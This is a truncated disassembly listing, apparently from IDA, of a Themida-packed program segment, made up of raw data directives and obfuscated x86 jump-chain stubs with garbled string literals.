0C129E906h, 48FFFFFh, 0B8E95C24h, 81000046h, 9A3515EBh dd 81CB2978h, 9A3515C3h, 2213E978h, 0D5680000h, 8900006Bh dd 34FF242Ch, 0F655E924h, 0E95CFFFFh, 0FFFFBCFAh, 6678132Dh dd 5F8014Eh, 4E667813h, 1077E9h, 0E1C15800h, 14E98103h dd 53207CEh, 68142BCBh, 6C0EE9h, 806AB600h, 0F0289CEEh dd 4D9045Ah, 6ABFE9A6h, 8B660000h, 0D9E92404h, 100007Ch dd 348759CEh, 24248B24h, 9C240CD2h, 0FFBCA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5488E1: ; CODE XREF: Themida_:00548EF1j pop dword ptr [edi+24h] push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] loc_5488FD: ; CODE XREF: Themida_:0054DEE5j push ebx jmp loc_545AA5 ; --------------------------------------------------------------------------- db 57h dd 0BE565F54h, 17466C45h, 0C1FFEE83h, 836802EEh, 89000030h dd 33BF243Ch, 317B9400h, 31FE31F7h, 87D6F7F7h, 3FF781F7h dd 17E459Bh, 0F7015FFEh, 34BD555Eh, 45746467h, 0F3E9DDF7h dd 5A000056h, 241C8B59h, 81E78957h, 4C7h, 4C78300h, 8B243C87h dd 2BE92424h, 83FFFFBCh, 3C8904ECh, 81E78924h, 4C7h, 28E95000h dd 2C000072h, 4D000D6h, 2434FFD6h, 395FE95Ah, 0C4810000h dd 4, 475ACE81h, 0F6814576h, 0DF29C641h, 348BF589h, 28D2E924h dd 2C8B0000h, 4C48324h, 4E6168h, 24048900h, 0B858FBB8h dd 0E9C6014Fh, 2D61h, 735AC381h, 0EEE93949h, 5700004Eh dd 62BAD5BFh, 5FFE294Bh, 0DFE9F021h, 68000009h, 3FF0h dd 47C2E9h, 24048900h, 230709B8h, 2E8C17Eh, 0F703E8C1h dd 3A1905D0h, 92057F16h, 2D67AC7Ch, 0AE2A3B4Ah, 4803E0C1h dd 4EEFE9h, 2011BF00h, 0F901334Ah, 81D1015Fh, 4A2011E9h dd 0C875A33h, 6BE95C24h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548A1F: ; CODE XREF: Themida_:0054E3EFj mov [esp], ebx mov ebx, 7DA930C9h jmp loc_54DDFE ; --------------------------------------------------------------------------- dd 405E089h, 0E9000000h, 0BD7h, 24048F66h, 0FFC5E6E9h dd 1C77FFFFh, 0D259669Dh, 0E99C2414h, 0FFFFBB3Ah ; --------------------------------------------------------------------------- loc_548A50: ; CODE XREF: Themida_:0054519Fj or esi, 491236A5h push eax jmp loc_545F49 ; --------------------------------------------------------------------------- dd 4C481h, 0C7810000h, 4, 2C781h, 3C330000h, 243C3124h dd 5C243C33h, 2FB76866h, 0FFF200E9h, 0B2C581FFh, 81388F7Eh dd 946092C5h, 4CED811Dh, 178E736h, 0CEE1E9EAh, 0B60FFFFFh dd 148B66C0h, 0F661E924h, 34FFFFFFh, 2434FF24h, 4C48358h dd 360FE9h, 0DEBA5200h, 8166F452h, 1C2h, 0C9EA8100h, 0E9153107h dd 0FFFFF8ADh, 1FCF6851h, 34890000h, 39DBE24h, 0A1B96796h dd 81679603h, 404C0EC1h, 81F12973h, 404C0EE9h, 2434FF73h dd 4C4815Eh, 1000000h, 240C8BCFh, 4C481h, 0C7830000h, 4BD3E904h dd 0EFC00000h, 1BEF8005h, 0FFE1C5E9h, 0CBB850FFh, 506B65Bh dd 70B2F904h, 0E958C101h, 3B1Ah, 4EC81h, 34890000h, 627EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548B36: ; CODE XREF: Themida_:005450BBj push eax push 45FC7D65h pop eax jmp loc_54EDFC ; --------------------------------------------------------------------------- dw 0BA66h dd 89660002h, 665A66D3h, 2244481h, 1663DB2h, 6602245Ch dd 2246C81h, 8B663DB2h, 0F2E9241Ch, 0B6FFFFD6h, 80CEFE8Eh dd 0C680EBEEh, 0EA54E901h, 4BDFFFFh, 29000000h, 242C8BEBh dd 4C481h, 1C870000h, 24248B24h, 0E9240489h, 0FFFFB9F6h dd 0E9242C89h, 4281h, 0E9240489h, 0FFFFB9E6h, 4C181h, 0EC830000h dd 243C8904h, 4BFh, 5FF90100h, 0E9240C87h, 0FA2h ; --------------------------------------------------------------------------- loc_548BC0: ; CODE XREF: Themida_:0054824Cj push ebx mov ebx, 2AA26FE8h not ebx or ebx, 764B1B2Ah shl ebx, 2 inc ebx push esi mov esi, 0A4C334BCh sub ebx, esi push dword ptr [esp] jmp loc_54D853 ; --------------------------------------------------------------------------- dw 483h dd 2C8B0424h, 4C48324h, 4C581h, 0BB530000h, 2, 21EFED81h dd 0DD017D43h, 21EFC581h, 1C8B7D43h, 4C48124h, 87000000h dd 248B242Ch, 242CD224h, 0B96CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548C1E: ; CODE XREF: Themida_:00544591j add bl, 68h sub bl, 36h push ebx mov bh, 0E7h add bh, 5Fh add bh, 0FCh push eax mov al, 0ACh shl al, 1 jmp loc_54F440 ; --------------------------------------------------------------------------- db 89h dd 5E542434h, 4C681h, 52680000h, 89000069h, 4B82404h, 0E9000000h dd 4BF2h, 1AF6815Ah, 89696C40h, 24348BF2h, 4C481h, 0A0E90000h dd 89000076h, 148B243Ch, 11086824h, 3C890000h, 52E78924h dd 7209E9h, 243C8900h, 19E9E9h, 243C3300h, 24048F5Ch, 702BE9h dd 66D02800h, 58C3085Ah, 8005E3C0h, 0E38004C3h, 0E26AE9FEh dd 40BAFFFFh, 810DA922h, 0F675A1F2h, 4EAC156h, 4B0FE9h db 0 ; --------------------------------------------------------------------------- loc_548CBD: ; CODE XREF: Themida_:00549F66j push dx push ecx jmp loc_54B95C ; --------------------------------------------------------------------------- loc_548CC5: ; CODE XREF: Themida_:0054C09Ej add edi, 2B39D509h sub ebp, edi jmp loc_54AA5A ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFB8B2h, 6DEDBA52h, 24E92094h, 8900001Fh, 12E95AD3h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548CEB: ; CODE XREF: Themida_:0054B5EEj pop ecx add eax, 5FE239Eh push edi mov edi, 0EA5D405Fh xor eax, edi pop edi mov [edx+30h], eax mov eax, [esp] push ecx mov ecx, esp jmp loc_54B27F ; --------------------------------------------------------------------------- dd 5C240487h, 0B60FC330h, 48F66C0h, 0B870E987h, 0EB30FFFFh dd 21EB8059h, 1C8BD930h, 6A346824h, 34890000h, 81E68924h dd 4C6h, 4C68300h, 8B243487h, 76E92424h, 0B8FFFFCCh, 33347915h dd 2958C529h, 3E95DE8h, 87FFFFD7h, 248B2404h, 29C9E924h dd 27E90000h, 21FFFFB8h, 0E99C2404h, 0FFFFB81Eh, 3D9E82Dh dd 641EE94Fh, 0C8B0000h, 0EC815024h, 4, 89243C89h, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 8924248Bh, 4832424h, 51580424h dd 4B9h, 59C80100h, 0FFCE22E9h, 34C681FFh, 5D68D921h, 4BF57h dd 0FE010000h, 74FF565Fh, 9EE90424h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548DC7: ; CODE XREF: Themida_:0054F30Bj pop edx jmp loc_545202 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FFCEB1E9h, 4C481FFh, 81000000h, 9259A5E2h, 0CAE9425Eh dd 0C1FFFFEEh, 0C98107E9h, 0C21580Dh, 9ABC181h, 0CEE91CDFh dd 0B3000073h, 0E9C3FE3Ch, 4923h, 72EF3F05h, 6821E971h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548E0E: ; CODE XREF: Themida_:00547A9Aj shr esi, 5 jmp loc_54B68D ; --------------------------------------------------------------------------- dw 2C89h dd 9EB85024h, 681F8477h, 0 dd 58240429h, 0FD25D8F7h, 0E92A3D64h, 0FFFFFFD0h ; --------------------------------------------------------------------------- loc_548E34: ; CODE XREF: Themida_:0054FA1Cj push 6C7D45EDh jmp loc_54A974 ; --------------------------------------------------------------------------- dw 0CCBBh dd 314ABF06h, 89565BDEh, 4C681E6h, 81000000h, 4EEh, 24348700h dd 0C19EE95Ch, 665CFFFFh, 2404AB0Fh, 0B720E99Ch, 6866FFFFh dd 89666FF2h, 13E9240Ch db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548E77: ; CODE XREF: Themida_:00549826j pop eax shr bl, 2 push ecx jmp loc_546A6E ; --------------------------------------------------------------------------- db 45h, 81h, 0F5h a_jzsi db '°_JZИ╗',8,0 db 0 ; --------------------------------------------------------------------------- loc_548E8D: ; CODE XREF: Themida_:0054552Fj sub edx, 46DB4381h add ebx, edx pop edx add ebx, 96D6ACE0h and eax, ebx jmp loc_54DEE2 ; --------------------------------------------------------------------------- db 81h dd 233E26C2h, 14875846h, 0C4835C24h, 2424D304h, 0FFB6D1E9h dd 0C8B66FFh, 58DFE924h, 0E9420000h, 8CAh ; --------------------------------------------------------------------------- loc_548EC8: ; CODE XREF: Themida_:0054A70Dj mov [esp], edx mov edx, 9713358h sub esp, 4 mov [esp], esi mov esi, 0F4730E4h shr esi, 8 not esi or esi, 30CE6A4Ch shr esi, 8 jmp loc_549009 ; --------------------------------------------------------------------------- loc_548EEE: ; CODE XREF: Themida_:0054F380j mov [esp], ebx jmp loc_5488E1 ; --------------------------------------------------------------------------- aPsWC0Slp db 'PSЁW╢Г0эИlp',0 dw 0FF00h dd 0E95B2434h, 0FFFFF08Eh, 0BF243C89h, 4, 4247C01h, 5F2434FFh dd 8B04C483h, 26E92414h, 8B000022h, 0EC832404h, 24048904h dd 528968h, 24248900h, 4240483h, 5224048Bh, 0C281E289h dd 4, 0FFE29DE9h, 5DE929FFh, 0BB049E2Dh, 5C8016Fh, 6FBB049Eh dd 0D1E95759h, 81FFFFE2h, 0DF4F1BEAh, 0E9D1891Fh, 0FFFFC29Dh dd 24148B66h, 5E08950h, 4, 0E902C083h, 54B6h, 0E9C0C9FEh dd 55F18002h, 46E9C828h, 3400006Ch, 33E95191h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F9B: ; CODE XREF: Themida_:00550582j and eax, edx jmp loc_545152 ; --------------------------------------------------------------------------- loc_548FA2: ; CODE XREF: Themida_:0054F736j and eax, ebx pop ebx shr eax, 18h xor eax, ecx push ebx mov ebx, esp push esi mov esi, 4 jmp loc_54A1AB ; --------------------------------------------------------------------------- loc_548FB8: ; CODE XREF: Themida_:0054BA9Aj sub edx, 0A271AD94h xor ecx, edx mov edx, [esp] add esp, 4 push 5E08h mov [esp], esi push ecx sub esp, 4 mov [esp], edx push 59B47957h pop edx shr edx, 6 shl edx, 5 push edi mov edi, 51F60A94h add edi, 0A1761D8Eh jmp loc_549CBD ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 56000000h, 0C6815E54h, 4, 7471E9h db 0 ; --------------------------------------------------------------------------- loc_549009: ; CODE XREF: Themida_:00548EE9j sub esi, 0E182F712h sub edx, esi jmp loc_54BA99 ; --------------------------------------------------------------------------- dw 0F830h dd 83241C8Bh, 2C8904ECh, 2C8B5424h, 4C48324h, 4C581h, 51570000h dd 6D1F06B9h, 52D1F71Eh, 92E0FDBAh, 5AD131E1h, 159CF89h dd 0FF555FFDh, 5D042474h, 5CF8E9h, 5BDE3100h, 89F08950h dd 92E958C7h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54905F: ; CODE XREF: Themida_:00544927j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push esi mov esi, esp push edi mov edi, 4 jmp loc_54EF89 ; --------------------------------------------------------------------------- loc_54907A: ; CODE XREF: Themida_:005504C8j xor edi, ecx jmp loc_547BBF ; --------------------------------------------------------------------------- db 5Ch, 51h, 0B9h dd 21EE4189h, 58DDF181h, 0E1C146FCh, 4E1C102h, 8102E1C1h dd 0E6AC04C1h, 5643E9EDh, 0B9510000h, 4, 3646E32Dh, 0E9C8017Dh dd 0FFFFBE67h, 0C281E289h, 4, 0E904EA83h, 502Dh, 12E9C289h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5490CB: ; CODE XREF: Themida_:0054FDBFj mov ebx, [esp] add esp, 4 jmp loc_5446F4 ; --------------------------------------------------------------------------- loc_5490D6: ; CODE XREF: Themida_:0054F951j pop esp push 35D2h mov [esp], eax sub esp, 4 mov [esp], ebx push ebp mov ebp, 78434E70h mov ebx, 0D3E790EEh sub ebx, ebp jmp loc_54A207 ; --------------------------------------------------------------------------- dw 0C483h dd 19D2E904h, 0C6830000h, 24343304h, 33243431h, 248B2434h dd 68A3E924h, 0C3810000h, 2, 900E9h, 1C77FF00h, 1058669Dh dd 0E99C2404h, 0FFFFB45Ah, 541BE959h, 0C4830000h, 7CBA5204h dd 0E96FD653h, 72B7h ; --------------------------------------------------------------------------- loc_549144: ; CODE XREF: Themida_:005445B7j and edx, 23B91BE9h not edx push esi jmp loc_54B8FF ; --------------------------------------------------------------------------- dw 61BBh dd 89A3FCA1h, 0AAE95BDDh, 64000007h, 2B60F66h, 63996866h dd 24048966h, 0FFB419E9h, 0A6E381FFh, 50356F67h, 0A96676B8h dd 58C3210Dh, 1963E9h, 4A020500h, 402D75E9h, 297A0860h dd 604005F8h, 6B687A08h, 89000050h, 2BB241Ch, 2975E94Ah dd 3324E9D8h, 0F7810000h, 4468256Bh, 0A9F4C781h, 0F9293EE7h dd 57243C8Bh, 0C781E789h, 4, 8704C783h, 5A5C243Ch, 8B240C87h dd 0F662424h, 6866C8BEh, 896653C6h, 0A7E9240Ch, 81FFFFB3h dd 4C6h, 24348700h, 20EAE9h, 0E9F08900h, 0FFFFD3E3h ; --------------------------------------------------------------------------- loc_5491F8: ; CODE XREF: Themida_:0054BECCj xor eax, ebx xor ebx, eax xor eax, ebx jmp loc_5473F3 ; --------------------------------------------------------------------------- aRSS? db ',хR╡≤(пИ^?',0 dw 8300h dd 0B95104C4h, 2, 5969E9h, 0C2815E00h, 2, 31241433h, 14332414h dd 19A6E924h, 0C310000h, 240C3324h, 64E3E95Ch, 0C4830000h dd 0C007E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549246: ; CODE XREF: Themida_:0054E073j push ecx mov ecx, 77B8679Fh jmp loc_544B5B ; --------------------------------------------------------------------------- db 0FEh, 0C9h, 80h dd 0CE3090C1h, 81240C8Bh, 4C4h, 0AEF68000h, 0FFC01FE9h dd 241C89FFh, 0C381E389h, 4, 482BE9h db 0 ; --------------------------------------------------------------------------- loc_549279: ; CODE XREF: Themida_:0054A80Cj and edx, 7D67E65h sub edx, 5567820h add eax, 82E5256h add eax, edx sub eax, 82E5256h pop edx add eax, 4 jmp loc_55022E ; --------------------------------------------------------------------------- dw 315Fh dd 24148BD0h, 8304C483h, 3C8904ECh, 107BBF24h, 0B8505EE5h dd 528C0044h, 6E70EF81h, 0C78126AAh, 6AA950F4h, 6C29EF81h dd 0C729681Eh, 689CE9h, 2434FF00h, 4C4815Ah, 83000000h dd 3C3302C7h, 243C3124h, 8B243C33h, 2CD32424h, 0CE99C24h dd 5FFFFD8h, 4, 0FFD106E9h, 8BC781FFh, 128B423h, 0D241E9EFh dd 5366FFFFh, 4BABE9h, 243C8900h, 5BE9E789h, 5000030h dd 25FE7EA3h, 650BE9h db 0 ; --------------------------------------------------------------------------- loc_549321: ; CODE XREF: Themida_:0054E5D9j push ebp mov ebp, 6E0F595Ch push 3F0Eh mov [esp], ecx mov ecx, 9270A6A4h add ebp, 14C818E5h sub ebp, 48A76451h add ebp, ecx add ebp, 48A76451h jmp loc_549718 ; --------------------------------------------------------------------------- loc_54934D: ; CODE XREF: Themida_:0054B595j pop ebx push edx mov edx, 4 add ebx, edx pop edx push edx mov edx, 2 add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp add [esp], ax pushf jmp loc_54458A ; --------------------------------------------------------------------------- dd 24048F54h, 47C068h, 24048900h, 4B8h, 24440100h, 24048B04h dd 0FFD2C7E9h, 65E95CFFh, 5100002Ah, 4B9h, 5ABD5500h, 452FD125h dd 25ED814Dh, 1F7310Dh, 0F289E9EEh, 34FFFFFFh, 2434FF24h dd 4C4835Eh, 0E9E38953h, 1AEh ; --------------------------------------------------------------------------- loc_5493C4: ; CODE XREF: Themida_:0054D24Aj sub cl, 0BBh sub cl, 30h push eax jmp loc_545B20 ; --------------------------------------------------------------------------- dd 8B240433h, 50512424h, 405E089h, 83000000h, 48704E8h dd 4895C24h, 68D08824h, 69A7h, 0E9241489h, 0FFFFDF73h ; --------------------------------------------------------------------------- loc_5493F8: ; CODE XREF: Themida_:00547202j push esi push dword ptr [esp+4] pop esi jmp loc_54B6F7 ; --------------------------------------------------------------------------- db 97h dd 9E98EF81h, 90E9AB0Ah db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54940F: ; CODE XREF: Themida_:005451CFj push ecx push esp pop ecx add ecx, 4 push 4A8Fh jmp loc_54F215 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFB15DE9h, 0B8C681FFh, 510CD451h, 4EC81h, 3C890000h dd 205C6824h, 0BAE92580h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_549447: ; CODE XREF: Themida_:0054BCADj sub ebp, 18D015C3h add ebp, 231D5248h jmp loc_549D24 ; --------------------------------------------------------------------------- loc_549458: ; CODE XREF: Themida_:00547A1Aj add ebp, 4 push esi jmp loc_54E46D ; --------------------------------------------------------------------------- loc_549464: ; CODE XREF: Themida_:0054CC83j xor edi, 142B07B9h add edi, 0B4AFC532h sub edi, ecx xchg edi, ecx pop edi not ecx add ecx, 2E033417h shr ecx, 2 add ecx, 0F10328AEh add ebp, ecx jmp loc_54B62C ; --------------------------------------------------------------------------- loc_54948D: ; CODE XREF: Themida_:00545155j add esp, 4 shr eax, 0Ah jmp loc_54D8C4 ; --------------------------------------------------------------------------- db 88h dd 88D1F6D1h, 34A3E9CAh, 1C890000h, 0E905B324h, 3609h ; --------------------------------------------------------------------------- loc_5494B0: ; CODE XREF: Themida_:0054615Aj mov edx, 3C6FDA62h xor ebx, edx mov edx, [esp] add esp, 4 jmp loc_54CE05 ; --------------------------------------------------------------------------- loc_5494C2: ; CODE XREF: Themida_:00547DBAj pop ebx pop ecx pop ebx add bl, al push dword ptr [esp] jmp loc_54F6B2 ; --------------------------------------------------------------------------- db 0B4h dd 885366D4h, 88D7F6E7h, 805B66FCh, 0E1282AECh, 80C9FE58h dd 5E921E9h, 35000033h, 0EF708CFEh, 0D281E957h, 8142FFFFh dd 0DE130F2h, 0FFD689C9h, 0E95A2434h, 296Bh, 53E18951h dd 4BBh, 15E98100h, 8137FC04h, 0FF35B0E9h, 81D9013Eh, 0FF35B0C1h dd 15C1813Eh, 8B37FC04h, 0E955241Ch, 69E3h, 8324048Fh dd 0E9042404h, 2AABh, 68242C89h, 0FFFFFBFFh, 0FFD5B3E9h dd 24248BFFh, 4245C31h, 0E9241C8Bh, 0FFFFD4CEh, 6624248Bh dd 5624048Bh, 4EC81h, 24890000h, 6976E924h, 0C3810000h dd 4, 0FFB0EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54957D: ; CODE XREF: Themida_:0054EA88j mov edx, [esp] jmp loc_545D81 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E924048Bh, 210Ah, 4ABDCB81h, 85E92252h, 8BFFFFDAh dd 0C4832434h, 6FB96804h, 2C890000h, 2C8B5424h, 4C48324h dd 4B951h, 0CD010000h, 0D788E959h, 429FFFFh, 4EC8324h dd 53A6E9h, 10B85000h, 0C16E5373h, 0D82505E0h, 522C120Bh dd 3CB6E9h, 6935B900h, 88E95748h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5495E7: ; CODE XREF: Themida_:0054EFB4j xchg edi, [esp] mov esp, [esp] mov [esp], ebx push 2ABCh mov [esp], ecx mov ecx, 5B5D089Bh inc ecx jmp loc_54D609 ; --------------------------------------------------------------------------- loc_549603: ; CODE XREF: Themida_:00549C6Fj add ecx, 4 push edi jmp loc_546171 ; --------------------------------------------------------------------------- db 83h dd 37E902C0h, 1FFFFF1h, 49415DE9h, 4D21E981h, 0CE31010Ch dd 0FFB278E9h, 0C1DEF7FFh, 0E95108EEh, 3C7Dh, 326853ADh dd 8B0DE749h, 8950241Ch, 0FCA9E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549646: ; CODE XREF: Themida_:00546D13j dec ebx dec ebx jmp loc_54F120 ; --------------------------------------------------------------------------- db 58h, 8Fh, 4 dd 24248B24h, 0FFAF31E9h, 4BFFFh, 0EC830000h, 24048904h dd 6476D0B8h, 58C60160h, 0EE81FE01h, 606476D0h, 53243C8Bh dd 1E9E389h, 68FFFFD5h, 0C6Dh, 0BB241C89h, 36765D06h, 0F381DBF7h dd 0B3548EC7h, 0FFFAD8E9h db 0FFh ; --------------------------------------------------------------------------- loc_549699: ; CODE XREF: Themida_:00544F16j sub ebx, 2D483265h add ebx, 60743EDCh add ebx, edi sub ebx, 60743EDCh add ebx, 2D483265h push eax mov eax, 0 add eax, ebx mov ecx, [eax] pop eax jmp loc_5468D5 ; --------------------------------------------------------------------------- db 0FFh dd 589D1C77h, 9C240411h, 0FFAEB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5496D1: ; CODE XREF: Themida_:005480BCj and ebx, edx pop edx dec ebx xor ebx, 10BA9280h sub ebp, ebx pop ebx and eax, ebp pop ebp jmp loc_545F17 ; --------------------------------------------------------------------------- dw 0BA52h dd 638042FCh, 783EC281h, 0EA812EA5h, 485693A8h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 1B9240Ch, 0E962443Ah dd 2CDBh ; --------------------------------------------------------------------------- loc_549718: ; CODE XREF: Themida_:00549348j sub ebp, 14C818E5h pop ecx and eax, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], eax mov eax, esp jmp loc_54B6AA ; --------------------------------------------------------------------------- db 81h, 0CDh, 5Bh dd 0F74E3A5Ah, 4BCDE9DDh, 50510000h, 6965DD68h, 76E95872h dd 0AD000022h, 3262E9h, 0C8B6600h, 50126824h, 1C890000h dd 6B1B6824h, 4890000h, 5E08924h, 4, 8704E883h, 895C2404h dd 0E9562424h, 0FFFFB077h, 0DC87E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549786: ; CODE XREF: Themida_:0054EEF1j pop esi push ecx mov ecx, 5641171h jmp loc_54B3F7 ; --------------------------------------------------------------------------- dw 0E2C1h dd 0FCEA8104h, 818A94C1h, 0D27830EBh, 0B4EB8168h, 81151322h dd 0D166E4EBh, 57D30179h, 3A53E956h, 0C1280000h, 59CA2858h dd 5AD588h, 835966E8h, 0C8904ECh, 80A9B124h, 0BBE9A0E9h dd 31FFFFB4h, 0ADB0E9C2h, 8B66FFFFh, 0EC83240Ch, 24348904h dd 0EB68E689h, 8900004Fh, 5550243Ch, 890B2EBDh, 8CCD8141h dd 872E7B74h, 87DFF7FDh, 0E9D5F7FDh, 3BCCh, 4EC81h, 1BE90000h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549813: ; CODE XREF: Themida_:0054EC37j pop ecx add esp, 4 sub esp, 4 mov [esp], eax push ebx push eax mov al, 1Dh mov bl, al jmp loc_548E77 ; --------------------------------------------------------------------------- db 89h dd 0DFB850E1h, 485A4626h, 101F3305h, 33DB351Eh, 95E923E1h dd 81FFFFDAh, 6640D5F2h, 0D692E91Dh, 30ACFFFFh, 5337E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549856: ; CODE XREF: Themida_:0054738Dj add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp shr ecx, 7 push 47D8h mov [esp], ebx jmp loc_54A9E5 ; --------------------------------------------------------------------------- db 58h dd 61B55153h, 27E9D5F6h, 81FFFFDBh, 0BB5A98EBh, 1FBD5515h dd 31D37548h, 0DF015DEBh, 5FF9015Bh, 2BD55h, 8CE90000h dd 81FFFFE6h, 0FFFFFFC2h, 0BA5251FFh, 4678333Fh, 2EB5C281h dd 86E9BC83h, 81000002h, 4EDh, 242C3300h, 33242C31h, 545C242Ch dd 5524048Fh, 4BDh, 246C8100h, 9C335E04h, 0D02AE963h, 0E228FFFFh dd 0B7536658h, 5EFC0CAh, 0CF80D7F6h, 19F780A4h, 0EF80DFF6h dd 66FA085Fh, 81241C8Bh, 2C4h, 1FF28000h, 0FFF06AE9h, 5BDD29FFh dd 5235E9h, 0E97CB500h, 0FFFFF402h, 6EB5685Fh, 2C890000h dd 5F34E924h, 87590000h, 248B2414h, 2CD36624h, 53E99C24h dd 0ACFFFFACh, 5366D830h, 75B15152h, 0CA2867B2h, 0FFC728E9h dd 4C483FFh, 1C26CF81h, 0C7816CD5h, 375806D2h, 8101EF83h dd 4F2384F7h, 5FFA01A5h, 4C281h, 14870000h, 24248B24h dd 0FFDEC8E9h, 14E954FFh, 8300000Ch, 0E9042404h, 0FFFFE818h ; --------------------------------------------------------------------------- loc_549984: ; CODE XREF: Themida_:0054F40Cj xchg edx, [esp] pop esp push 470Fh mov [esp], ebx jmp loc_547D40 ; --------------------------------------------------------------------------- db 81h, 0CBh, 0F8h dd 81725D2Ah, 862F9F3h, 2C38178h, 89FD28B4h, 0C6815BDAh dd 0D61635Ch, 3888EE81h, 0D60146D9h, 3888C681h, 0EE8146D9h dd 0D61635Ch, 8124148Bh, 4C4h, 4C68100h, 56000000h, 42474FFh dd 0FFE4BEE9h, 499AB9FFh, 0E9816D30h, 4C64F084h, 0C8BCE89h dd 4C48124h, 81000000h, 877514C6h, 0F8EE8131h, 0E908BE1Ch dd 0FFFFB756h, 0BE243489h, 0B463B19h, 0C15EF521h, 814504EDh dd 0A7096DEDh, 5DEB29AFh, 6860E9h, 241C8700h, 48B665Ch dd 4EC8324h, 83243489h, 8F5404ECh, 0EC812404h, 4, 0C87E9h dd 242C8900h, 5150E9h, 0B800h, 0C1890000h, 0D00E9h, 240C8900h dd 9A5234B9h, 244C290Fh, 2434FF04h, 83240C8Bh, 2CE904C4h dd 53FFFFC6h, 1D0C46BBh, 5BDA2923h, 15AD331h, 0EC815BD9h dd 4, 0BF243C89h, 4, 0E95FF901h, 1790h, 0FFC0B60Fh, 53568734h dd 0AF424DBBh, 77B9514Ah, 9359D4Fh, 240C8BCBh, 3C8CE9h db 0 ; --------------------------------------------------------------------------- loc_549AB1: ; CODE XREF: Themida_:0054FF99j push ecx mov cl, 0D4h shl cl, 8 jmp loc_54D241 ; --------------------------------------------------------------------------- dd 0EFC5815Ah, 5F011D1Bh, 0FFE2C7E9h, 243489FFh, 4BEh dd 0FFE98100h, 0E955BA6Dh, 5EC0h, 0E1F7665Ch, 8E06866h dd 24148966h, 0E99C5066h, 0FFFFAA9Ah ; --------------------------------------------------------------------------- loc_549AF0: ; CODE XREF: Themida_:00545393j push 7F4602DBh pop esi push ebx mov ebx, 75F7474Dh jmp loc_544C84 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 4055Ch, 0EC830000h, 24348904h, 4BEh, 5EF00100h, 6AC4E9h dd 0ACA8100h, 81559E05h, 4ECh, 24348900h, 635790BEh, 44E8E97Dh dd 0F4880000h, 331EE9h, 0C1DAF700h, 3FE904EAh, 0B0000037h dd 0E9B40CB1h, 2B06h, 0E924048Fh, 0FFFFF306h, 53F068h dd 0F9DEE900h, 215CFFFFh, 34FF1C6Fh, 0DE8BE924h, 0C481FFFFh dd 4, 0FFBEE1E9h, 0A9468FFh, 1C890000h, 57E38924h, 725EBE56h dd 0C14E096Ah, 0C68108E6h, 17C84909h, 6292EE81h, 0F7894A41h dd 73F7815Eh, 137F943h, 0C3815FFBh, 4, 31241C33h, 1C33241Ch dd 0C1815C24h, 4, 4EC81h, 3C890000h, 4BF24h, 0F9290000h dd 240C335Fh, 33240C31h, 0B9E9240Ch, 55FFFFDCh, 4BDh, 7EA32D00h dd 0E80125FEh, 0FFF72AE9h, 268FFh, 15D0000h, 242C8BE8h dd 4BB9E955h, 92050000h, 119880Ah, 0A922DD8h, 4CE91988h dd 54FFFFC9h, 0E92434FFh, 4C85h, 0E958C729h, 0FFFFEC70h dd 2029BE56h, 0BB536B09h, 13D74FC5h, 1998E381h, 5FE97E11h dd 83FFFFAFh, 48E904ECh, 0B500004Ch, 54F65100h, 80590124h dd 0C580E0E5h, 59EE8897h, 25E9052Ch db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549C57: ; CODE XREF: Themida_:0054E5B2j pop edi push ebp jmp loc_54FA35 ; --------------------------------------------------------------------------- aAiSI db '─К\SЁ╗',0 aStg db 'ь[ИTg',0 align 4 loc_549C6C: ; CODE XREF: Themida_:0054D3CFj push ecx mov ecx, esp jmp loc_549603 ; --------------------------------------------------------------------------- dd 15BD829h, 0BF5758C5h, 4, 5BD1ED81h, 0B6E94B5Bh, 0FF000028h dd 81592434h, 4ECh, 24148900h, 6770E9h db 0 ; --------------------------------------------------------------------------- loc_549C9D: ; CODE XREF: Themida_:00547525j neg eax sub eax, 0FFFFFFFFh add eax, 4D7FAA97h or ebx, eax pop eax and ebx, 68666276h inc ebx jmp loc_54C7A5 ; --------------------------------------------------------------------------- dw 0D7F7h dd 0FFEDF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_549CBD: ; CODE XREF: Themida_:00548FF0j sub edx, edi pop edi mov ecx, edx jmp loc_54DB90 ; --------------------------------------------------------------------------- db 52h dd 37E9DBB6h, 0B8FFFFF6h, 22518B1h, 4024E953h, 0BB530000h dd 44A976B5h, 4AECE9h, 50AEB800h, 44290AD7h, 0F8E90824h dd 